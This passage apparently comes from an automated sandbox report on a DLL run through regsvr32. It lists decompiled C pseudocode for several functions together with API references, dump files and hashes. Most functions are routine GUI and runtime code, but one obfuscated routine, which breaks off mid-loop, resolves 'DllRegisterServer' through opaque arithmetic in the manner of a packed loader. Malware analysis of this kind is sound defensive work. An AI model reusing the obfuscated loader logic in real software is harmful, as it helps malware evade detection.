				_a74 = 0x6eb79cf0;
				E6EB41070( &_a74, _a126);
				_a230 = 0;
				_a62 = 0x6eb79cf0;
				E6EB41070( &_a62, _a126);
				_a230 = 0xffffffff;
				_t96 = E6EB49B87(_t100,  &_a122, _t136, 0x6eb79cf0, _t149);
				 *[fs:0x0] = _a222;
				_pop(_t137);
				_pop(_t140);
				_pop(_t102);
				return E6EB63DE0(_t96, _t102, _a214 ^ _t143, _t132, _t137, _t140);
			}

APIs

ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ColorRect$FrameInflateOffsetText
String ID:
API String ID: 445312294-0
Opcode ID: f8c59e94753e615d7aa1f2e95151b933b46edb82d66080584e338449ca4f5435
Instruction ID: 30dc7bea4754c42a0cc557bb541827d2206825bb6b970478347b023de5ca5ecb
Opcode Fuzzy Hash: f8c59e94753e615d7aa1f2e95151b933b46edb82d66080584e338449ca4f5435
Instruction Fuzzy Hash: 5B5112725087808FC314CF65C494AAABBF4FFC9714F018E1DE59A922A4EB749844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB41920 Relevance: 7.6, APIs: 5, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB41920(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr* _t74;
				signed int _t80;

				_push(0xffffffff);
				_push(0x6eb78934);
				_push( *[fs:0x0]);
				_t39 =  *0x6eb89470; // 0x8926f9d4
				_push(_t39 ^ _t80);
				 *[fs:0x0] =  &_v12;
				_t74 = _a4;
				E6EB52A40(_t74, 0x66, 0);
				_v12 = 0;
				 *_t74 = 0x6eb7ed74;
				 *((intOrPtr*)(_t74 + 0x78)) = 0;
				 *((intOrPtr*)(_t74 + 0x74)) = 0x6eb79cf0;
				_v12 = 1;
				E6EB47200(0, _t74 + 0x7c);
				_t67 = _t74 + 0xf4;
				_v16 = 2;
				E6EB4B426(_t67, 0);
				 *_t67 = 0x6eb7af94;
				_t68 = _t74 + 0x148;
				_v16 = 3;
				E6EB46A20(0, _t68);
				 *_t68 = 0x6eb7e974;
				 *((intOrPtr*)(_t68 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t68 + 0x7c)) = 0;
				 *((intOrPtr*)(_t68 + 0x80)) = 0;
				 *((intOrPtr*)(_t68 + 0x7c)) = GetStockObject(0);
				_t69 = _t74 + 0x1cc;
				_v24 = 4;
				E6EB46A20(0, _t69);
				 *_t69 = 0x6eb7e974;
				 *((intOrPtr*)(_t69 + 0x7c)) = 0;
				 *((intOrPtr*)(_t69 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t69 + 0x80)) = 0;
				 *((intOrPtr*)(_t69 + 0x7c)) = GetStockObject(0);
				_t70 = _t74 + 0x250;
				_v32 = 5;
				E6EB46A20(0, _t70);
				 *_t70 = 0x6eb7e974;
				 *((intOrPtr*)(_t70 + 0x7c)) = 0;
				 *((intOrPtr*)(_t70 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t70 + 0x80)) = 0;
				 *((intOrPtr*)(_t70 + 0x7c)) = GetStockObject(0);
				_t71 = _t74 + 0x2d4;
				_v40 = 6;
				E6EB46A20(0, _t71);
				 *_t71 = 0x6eb7e974;
				 *((intOrPtr*)(_t71 + 0x7c)) = 0;
				 *((intOrPtr*)(_t71 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t71 + 0x80)) = 0;
				 *((intOrPtr*)(_t71 + 0x7c)) = GetStockObject(0);
				_v48 = 7;
				E6EB53D20(0, _t71, _t74, 0);
				 *((intOrPtr*)(_t74 + 0x358)) = LoadIconA( *(E6EB53D20(0, _t71, _t74, 0) + 0xc), 0x80);
				 *[fs:0x0] = _v56;
				return _t74;
			}

APIs

Part of subcall function 6EB52A40: _memset.LIBCMT ref: 6EB52A5C

GetStockObject.GDI32(00000000), ref: 6EB419B9
GetStockObject.GDI32(00000000), ref: 6EB419E6
GetStockObject.GDI32(00000000), ref: 6EB41A13
GetStockObject.GDI32(00000000), ref: 6EB41A40
LoadIconA.USER32 ref: 6EB41A5D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ObjectStock$IconLoad_memset
String ID:
API String ID: 1965300055-0
Opcode ID: 95aada5d83b95438ffe4265f8d21b88bee18ec22ca3ea21b9ea92c9b87e92443
Instruction ID: 31d295ea9c54762344bf724ab3f08eb1dea3ea09ec1d53974f16ad1aab7574ac
Opcode Fuzzy Hash: 95aada5d83b95438ffe4265f8d21b88bee18ec22ca3ea21b9ea92c9b87e92443
Instruction Fuzzy Hash: E6415CB1404BC6AFD711CFAAC88078AFFE8BF49704F00492DD1A997611CB74A514DFA6

Uniqueness

Uniqueness Score: -1.00%

Function 6EB53F78 Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB53F78(intOrPtr* __ecx, int* _a4) {
				int _v8;
				int _t12;
				int _t14;
				int _t22;
				int _t32;
				int* _t36;

				_push(__ecx);
				_t35 = __ecx;
				if(__ecx == 0) {
					_t22 =  *0x6eb8c908; // 0x60
					_t12 =  *0x6eb8c90c; // 0x60
					goto L6;
				} else {
					_t32 = GetMapMode( *(__ecx + 8));
					if(_t32 >= 7 || _t32 == 1) {
						_t22 = GetDeviceCaps( *(_t35 + 8), 0x58);
						_t12 = GetDeviceCaps( *(_t35 + 8), 0x5a);
						L6:
						_t36 = _a4;
						_v8 = _t12;
						 *_t36 = MulDiv( *_t36, 0x9ec, _t22);
						_t14 = MulDiv(_t36[1], 0x9ec, _v8);
						_t36[1] = _t14;
					} else {
						_push(3);
						 *((intOrPtr*)( *__ecx + 0x34))();
						E6EB4982A(__ecx, _a4);
						_push(_t32);
						_t14 =  *((intOrPtr*)( *__ecx + 0x34))();
					}
				}
				return _t14;
			}

APIs

GetMapMode.GDI32(?), ref: 6EB53F8A
GetDeviceCaps.GDI32(?,00000058), ref: 6EB53FC4
GetDeviceCaps.GDI32(?,0000005A), ref: 6EB53FCD

Part of subcall function 6EB4982A: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB4986C
Part of subcall function 6EB4982A: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB49889

MulDiv.KERNEL32(?,000009EC,00000060), ref: 6EB53FF1
MulDiv.KERNEL32(?,000009EC,?), ref: 6EB53FFC

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: a6861330a03554fb953f1a506f1f682fb4e4aa92ab0c4a6209df2688ffb18368
Instruction ID: 210b0f9cd551eab6e0fb7cbe869450087598f37506c354923e52a13d72ccc8e6
Opcode Fuzzy Hash: a6861330a03554fb953f1a506f1f682fb4e4aa92ab0c4a6209df2688ffb18368
Instruction Fuzzy Hash: 6411AC72600B54AFDF12AF99CC48C0EBBB9EF9A710B124419FA8597760C772EC518F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54008 Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB54008(intOrPtr* __ecx, int* _a4) {
				int _v8;
				int _t12;
				int _t14;
				int _t30;
				int _t33;
				int* _t36;

				_push(__ecx);
				_t35 = __ecx;
				if(__ecx == 0) {
					_t30 =  *0x6eb8c908; // 0x60
					_t12 =  *0x6eb8c90c; // 0x60
					goto L6;
				} else {
					_t33 = GetMapMode( *(__ecx + 8));
					if(_t33 >= 7 || _t33 == 1) {
						_t30 = GetDeviceCaps( *(_t35 + 8), 0x58);
						_t12 = GetDeviceCaps( *(_t35 + 8), 0x5a);
						L6:
						_t36 = _a4;
						_v8 = _t12;
						 *_t36 = MulDiv( *_t36, _t30, 0x9ec);
						_t14 = MulDiv(_t36[1], _v8, 0x9ec);
						_t36[1] = _t14;
					} else {
						_push(3);
						 *((intOrPtr*)( *__ecx + 0x34))();
						E6EB497BF(__ecx, _a4);
						_push(_t33);
						_t14 =  *((intOrPtr*)( *__ecx + 0x34))();
					}
				}
				return _t14;
			}

APIs

GetMapMode.GDI32(?), ref: 6EB5401A
GetDeviceCaps.GDI32(?,00000058), ref: 6EB54054
GetDeviceCaps.GDI32(?,0000005A), ref: 6EB5405D

Part of subcall function 6EB497BF: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB49801
Part of subcall function 6EB497BF: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB4981E

MulDiv.KERNEL32(?,00000060,000009EC), ref: 6EB54081
MulDiv.KERNEL32(?,?,000009EC), ref: 6EB5408C

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 505970eca706c0bb2aac74e03a2d420de7abc509242adec0378165ffa991dfef
Instruction ID: aa374afc5fce022658d3d8f4d2f4ab1f9960a0ea1563c88abb87a25251d25303
Opcode Fuzzy Hash: 505970eca706c0bb2aac74e03a2d420de7abc509242adec0378165ffa991dfef
Instruction Fuzzy Hash: 7A11A071600B15EFDF116FA5CC44C1EBBAAEF96710B164419FA8257760C771EC528F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54322 Relevance: 7.6, APIs: 5, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6EB54322(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t22;
				intOrPtr _t23;
				void* _t24;
				intOrPtr _t27;
				void* _t28;
				int _t29;
				intOrPtr _t30;
				CHAR* _t32;
				intOrPtr _t33;
				signed int _t37;

				_t27 = __edx;
				_t24 = __ecx;
				_t35 = _t37;
				_t9 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t9 ^ _t37;
				_t22 = _a4;
				_t32 = _a8;
				_push(_t28);
				_t41 = _t22;
				if(_t22 == 0) {
					L2:
					E6EB48BA4(_t22, _t24, _t28, _t32, _t41);
				}
				if(_t32 == 0) {
					goto L2;
				}
				_t29 = lstrlenA(_t32);
				_v264 = 0;
				E6EB65E80(_t29,  &_v263, 0, 0xff);
				if(_t29 > 0x100 || GetWindowTextA(_t22,  &_v264, 0x100) != _t29 || lstrcmpA( &_v264, _t32) != 0) {
					_t16 = SetWindowTextA(_t22, _t32);
				}
				_pop(_t30);
				_pop(_t33);
				_pop(_t23);
				return E6EB63DE0(_t16, _t23, _v8 ^ _t35, _t27, _t30, _t33);
			}

APIs

lstrlenA.KERNEL32(?,?,?), ref: 6EB5434E
_memset.LIBCMT ref: 6EB5436B
GetWindowTextA.USER32 ref: 6EB54385
lstrcmpA.KERNEL32(00000000,?,?,?), ref: 6EB54397
SetWindowTextA.USER32(00000000,?), ref: 6EB543A3

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 6bc48595da7abe3d0d667c3af0941b180aaf8d630d0fa1f81934136585bd6012
Instruction ID: 6bf6e37c28b25e011d45a472d5f78341cb4e8be11eacb7d93c9ef22e1ea8f884
Opcode Fuzzy Hash: 6bc48595da7abe3d0d667c3af0941b180aaf8d630d0fa1f81934136585bd6012
Instruction Fuzzy Hash: 4F01C4B2601258ABDF10AEA5CD84BDE7B6CEF55354F010461F906E3240DA70995587A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6E289 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E6EB6E289(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x6eb856a0);
				E6EB66608(__ebx, __edi, __esi);
				_t31 = E6EB6A81F(__ebx, __edx, __edi, _t35);
				_t15 =  *0x6eb8a04c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E6EB6AEB4(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x6eb89f50; // 0x4bf1620
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x6eb89b28;
								if(__eflags != 0) {
									_push(_t33);
									E6EB642E6(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x6eb89f50; // 0x4bf1620
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x6eb89f50; // 0x4bf1620
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E6EB6E324();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E6EB66ECD(_t29, _t31, 0x20);
				}
				return E6EB6664D(_t33);
			}

APIs

__getptd.LIBCMT ref: 6EB6E295

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__amsg_exit.LIBCMT ref: 6EB6E2B5
__lock.LIBCMT ref: 6EB6E2C5
InterlockedDecrement.KERNEL32(?), ref: 6EB6E2E2
InterlockedIncrement.KERNEL32(04BF1620), ref: 6EB6E30D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 80827d76a4efa5f2e1a4a4b0b45bde592b25a51755b011eb90541524f89bf657
Instruction ID: 7e04993b826f49c94952254b0c8958f7b4b1628a3e679c30d3b00c7898d63d8d
Opcode Fuzzy Hash: 80827d76a4efa5f2e1a4a4b0b45bde592b25a51755b011eb90541524f89bf657
Instruction Fuzzy Hash: B3018031D55AA2DBDF519FE4884878E7FA4FF02714F150809E85867784CB34AA41CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB44E80 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 457
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB44E80() {
				intOrPtr _t205;
				signed int _t208;
				signed int _t213;
				void* _t218;
				void* _t227;
				intOrPtr* _t229;
				signed int _t242;
				signed int _t243;
				intOrPtr _t265;
				signed int _t291;
				signed int _t301;
				intOrPtr* _t309;
				signed int _t339;
				signed int _t351;
				signed int _t353;
				signed int _t358;
				signed int _t370;
				intOrPtr _t371;
				signed int _t376;
				signed int _t379;
				signed int _t380;
				signed int _t382;
				intOrPtr _t384;
				intOrPtr _t389;
				intOrPtr _t409;
				signed int _t410;
				signed int _t426;
				signed int _t442;
				signed int _t458;
				signed int _t479;
				signed int _t486;
				signed int _t488;
				signed int _t508;
				signed int _t515;
				signed int _t520;
				signed int _t521;
				intOrPtr _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				intOrPtr _t530;
				intOrPtr* _t531;
				signed int _t547;
				intOrPtr _t549;
				intOrPtr _t552;
				intOrPtr _t558;
				void* _t575;
				void* _t576;

				_t205 =  *0x6eb8d558; // 0x305ed00
				_t339 =  *0x6eb8a9c4; // 0x0
				_t243 =  *0x6eb8a9bc; // 0x0
				_t382 =  *0x6eb8a9c8; // 0x0
				 *((intOrPtr*)(_t575 + 0xc)) = _t205;
				 *((intOrPtr*)(_t575 + 0x14)) =  *((intOrPtr*)(_t205 + 4));
				_t488 =  *0x6eb8a9d0; // 0x0
				_t208 = _t488 * _t339;
				 *(_t575 + 0x3c) = _t208;
				_t384 = _t382 + _t382 * 2 + _t382 + _t382 * 2;
				_t515 =  *0x6eb8a9cc; // 0x0
				 *((intOrPtr*)(_t575 + 0x1c)) = _t384;
				_t213 =  *0x6eb8a9c0; // 0x0
				_t389 =  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x14)))) + 0x78 + ((_t488 - _t339 + _t339 * 2 - 5) * _t515 + (_t243 + (_t208 + _t243) * 2 + (_t243 + (_t208 + _t243) * 2) * 2 - _t488 + _t488 - _t339) * 2 + (_t384 + _t515 - 7) * _t213) * 8;
				 *(_t575 + 0x30) = "DllRegisterServer";
				 *((intOrPtr*)(_t575 + 0x28)) = _t389;
				if( *((intOrPtr*)(_t389 + 4)) == 0) {
					L18:
					return 0;
				} else {
					 *(_t575 + 0x2c) = _t515 *  *0x6eb8a9bc * _t488;
					_t547 =  *0x6eb8a9c8; // 0x0
					_t265 = ((_t515 *  *0x6eb8a9c8 - _t213 * _t213 * 0x52 + _t515 *  *0x6eb8a9c8) * _t488 + 0xa4) *  *0x6eb8a9bc + ((2 - _t339 * _t339) * _t339 - _t515 + _t488) * 0x52 + (_t213 + (( *(_t575 + 0x2c) + 0xfffffffd) *  *0x6eb8a9c8 + _t213 + _t213 + (( *(_t575 + 0x2c) + 0xfffffffd) *  *0x6eb8a9c8 + _t213 + _t213) * 4) * 4) * 4 -  *((intOrPtr*)(_t575 + 0x1c)) +  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x28)))) +  *((intOrPtr*)(_t575 + 0x18));
					 *(_t575 + 0x20) = _t213 * _t488;
					 *((intOrPtr*)(_t575 + 0x10)) = _t265;
					 *((intOrPtr*)(_t575 + 0x24)) =  *((intOrPtr*)(_t265 + 0x18));
					_t549 = _t515 + _t488 * 2 + _t515 + _t488 * 2;
					_t409 = ((_t547 * _t488 + 2) * _t515 + 1) * _t547 + ((_t547 * _t488 + 2) * _t515 + 1) * _t547;
					 *((intOrPtr*)(_t575 + 0x34)) = _t409;
					 *((intOrPtr*)(_t575 + 0x28)) = _t549;
					if( *((intOrPtr*)(_t575 + 0x24)) == (_t339 -  *(_t575 + 0x20) - _t515 + 1) * _t213 + (_t339 -  *(_t575 + 0x20) - _t515 + 1) * _t213 - _t549 - _t409) {
						goto L18;
					} else {
						_t410 =  *0x6eb8a9bc; // 0x0
						_t552 = _t488 + _t488 * 2 + _t488 + _t488 * 2 + _t488 + _t488 * 2 + _t488 + _t488 * 2;
						 *((intOrPtr*)(_t575 + 0x38)) = _t552;
						_t558 =  *((intOrPtr*)(_t575 + 0x10));
						if( *((intOrPtr*)(_t558 + 0x14)) == (_t552 + 0xfffffffa) * _t339 + (_t410 + _t410 * 2 - _t515 + (_t410 + _t410 * 2 - _t515) * 2) * 2 + ( *((intOrPtr*)(_t575 + 0x1c)) + 0xfffffffa) * _t213) {
							goto L18;
						} else {
							if("DllRegisterServer" >> 0x10 != 0) {
								_t78 = _t339 + 2; // 0x2
								if((_t339 -  *(_t575 + 0x20) + _t515 +  *(_t575 + 0x20) + _t515 + _t78) * _t213 + (0 |  *((intOrPtr*)(_t575 + 0x24)) == 0x00000000) -  *((intOrPtr*)(_t575 + 0x28)) !=  *((intOrPtr*)(_t575 + 0x34))) {
									goto L18;
								} else {
									if( *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x14)) + 0x30)) != 0) {
										L14:
										_t426 =  *0x6eb8a9bc; // 0x0
										_t291 =  *0x6eb8a9c8; // 0x0
										_t218 = bsearch(_t575 + 0x40 + (_t213 + _t213 * 2 + (1 -  *0x6eb8a9c8) * _t515 + _t488 + (_t213 - _t339 + 3) * _t339 + (_t488 - _t213) *  *0x6eb8a9bc + (_t213 + _t213 * 2 + (1 -  *0x6eb8a9c8) * _t515 + _t488 + (_t213 - _t339 + 3) * _t339 + (_t488 - _t213) *  *0x6eb8a9bc) * 2) * 8,  *( *(_t575 + 0x20) + 0x30),  *(_t558 + 0x18) - _t291 * _t488 * _t339 + _t291 * _t488 * _t339 + _t291 * _t488 * _t339 + _t291 * _t488 * _t339, (_t515 - _t339 + 3) * _t213 - (_t213 * _t213 * _t339 +  *0x6eb8a9c8 + 2 + _t488 * 2) * _t515 + _t426 * 2 - _t291 + _t488 + _t339 + 8 + ((_t515 - _t339 + 3) * _t213 - (_t213 * _t213 * _t339 +  *0x6eb8a9c8 + 2 + _t488 * 2) * _t515 + _t426 * 2 - _t291 + _t488 + _t339) * 2, E6EB44E40);
										_t575 = _t575 + 0x14;
										if(_t218 == 0) {
											goto L18;
										} else {
											_t442 =  *(_t218 + 4) & 0x0000ffff;
											_t339 =  *0x6eb8a9c4; // 0x0
											_t488 =  *0x6eb8a9d0; // 0x0
											_t213 =  *0x6eb8a9c0; // 0x0
											_t515 =  *0x6eb8a9cc; // 0x0
											goto L16;
										}
									} else {
										_t301 =  *0x6eb8a9bc; // 0x0
										 *((intOrPtr*)(_t575 + 0x28)) = ( *((intOrPtr*)(_t575 + 0x1c)) + _t515 * 4 - 0xa) * _t213 + (_t488 * 4 - 2) * _t515 + ( *((intOrPtr*)(_t575 + 0x38)) + 0xa) * _t339 + (_t301 + _t301 * 8) * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x10)) + 0x20)) - _t488 * 4 +  *((intOrPtr*)(_t575 + 0x18));
										_t458 =  *0x6eb8a9c8; // 0x0
										_t103 = _t339 + 1; // 0x1
										_t558 =  *((intOrPtr*)(_t575 + 0x10));
										_t351 =  *0x6eb8a9c8; // 0x0
										_t309 = ((_t339 * 4 + 4 + (_t301 + _t301 * 4) * 2) * _t515 - _t213 * 4 - 0x26) *  *0x6eb8a9c8 + (_t103 * _t515 + (_t515 + _t458) * _t213 +  *0x6eb8a9c8 + _t301 + (_t103 * _t515 + (_t515 + _t458) * _t213 +  *0x6eb8a9c8 + _t301) * 4) * 2 + (_t339 - _t213 * 8 - _t213) * 4 + (0xe + _t339 * 4) * _t488 +  *((intOrPtr*)(_t558 + 0x24)) +  *((intOrPtr*)(_t575 + 0x18));
										_t227 = malloc((( *(_t575 + 0x2c) * _t339 - _t351) * 4 - 8) * _t351 + ((2 - _t488) * _t213 +  *(_t558 + 0x18) * 2 - _t515 +  *(_t575 + 0x3c) +  *0x6eb8a9bc) * 4);
										_t479 =  *0x6eb8a9c0; // 0x0
										_t353 =  *0x6eb8a9cc; // 0x0
										_t520 =  *0x6eb8a9d0; // 0x0
										_t358 =  *0x6eb8a9c8; // 0x0
										_t576 = _t575 + 4;
										_t229 = _t227 + ((((_t353 *  *0x6eb8a9c8 + _t479 *  *0x6eb8a9bc) *  *0x6eb8a9cc + (_t353 *  *0x6eb8a9c8 + _t479 *  *0x6eb8a9bc) *  *0x6eb8a9cc * 2) * 8 - 0x18) *  *0x6eb8a9c4 + (_t358 * _t479 * _t520 + 1 + (_t358 * _t479 * _t520 + 1) * 2) * 8) * _t520 + (0x18 - _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2) *  *0x6eb8a9cc;
										 *((intOrPtr*)( *((intOrPtr*)(_t576 + 0x14)) + 0x30)) = _t229;
										if(_t229 == 0) {
											goto L18;
										} else {
											_t370 =  *0x6eb8a9bc; // 0x0
											_t371 = _t370 + _t370 * 2;
											 *((intOrPtr*)(_t576 + 0x34)) = _t371;
											_t376 = ((_t371 + 3) * _t479 * _t520 + 6) * _t520;
											_t521 =  *0x6eb8a9c8; // 0x0
											_t522 = _t521 + _t521 * 2;
											 *((intOrPtr*)(_t576 + 0x1c)) = 0;
											 *((intOrPtr*)(_t576 + 0x38)) = _t522;
											if( *(_t558 + 0x18) - _t522 != _t376) {
												_t525 =  *0x6eb8a9c8; // 0x0
												_t530 =  ~((_t525 + 1) *  *0x6eb8a9cc + _t479 * _t479) +  ~((_t525 + 1) *  *0x6eb8a9cc + _t479 * _t479);
												 *((intOrPtr*)(_t576 + 0x3c)) = _t530;
												while(1) {
